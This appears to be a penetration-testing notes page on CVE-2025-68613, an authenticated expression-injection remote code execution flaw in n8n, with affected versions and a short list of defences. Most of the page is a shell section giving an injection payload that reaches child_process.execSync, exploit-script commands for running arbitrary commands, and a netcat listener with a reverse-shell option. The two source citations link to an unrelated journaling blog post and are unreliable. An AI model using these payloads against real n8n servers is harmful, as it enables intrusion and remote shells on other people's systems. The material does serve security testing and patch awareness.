☼
⌃
☰

CVE-2025-68613 n8n RCE Expression Injection

Table of Contents

A critical authenticated RCE in n8n's workflow expression evaluation engine allowing sandbox escape via expression injection. CVSS 9.9.

Related: API Testing Methodology Web Application Testing Methodology

Description

The vulnerability originates from n8n's workflow expression evaluation mechanism, where insufficient sandbox isolation allows user-supplied expressions to escape the intended execution context. By submitting specially crafted workflow expressions, an attacker can execute OS-level commands with the privileges of the n8n process. [Daniel Liden](https://www.danliden.com/posts/20240505-journal-persist.html?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=0db67b42-3337-42dc-b030-86f1566e1c5a)

Exploitation requires authentication, but no elevated privileges beyond workflow creation or editing. [Daniel Liden](https://www.danliden.com/posts/20240505-journal-persist.html?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=47dfa11d-ac78-4747-89c9-28a5efcb7c16) In many environments these permissions are shared broadly, making the effective bar very low.

Affected versions: 0.211.0 up to 1.120.4. Fixed in 1.120.4, 1.121.1, 1.122.0.

Steps

SHELL
# Detect version
curl -s http://$IP:5678/rest/settings | jq '.data.versionCli'

# Test expression injection via Set node value field:
# {{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

# Full exploit
python3 exploit_cve-2025-68613.py -u http://$IP:5678 \
  -e user@example.com -p password --payload cmd --command "whoami"

# Reverse shell
nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://$IP:5678 \
  -e user@example.com -p password --payload revshell \
  --lhost $LHOST --lport 4444

The expression engine lacks sanitisation preventing access to this.process (Node.js process object), allowing access to system modules.

Defences

  • Upgrade to 1.122.0 or later
  • Restrict workflow creation/editing to trusted users only
  • Run n8n as non-root user
  • Network segmentation to limit post-exploit lateral movement

References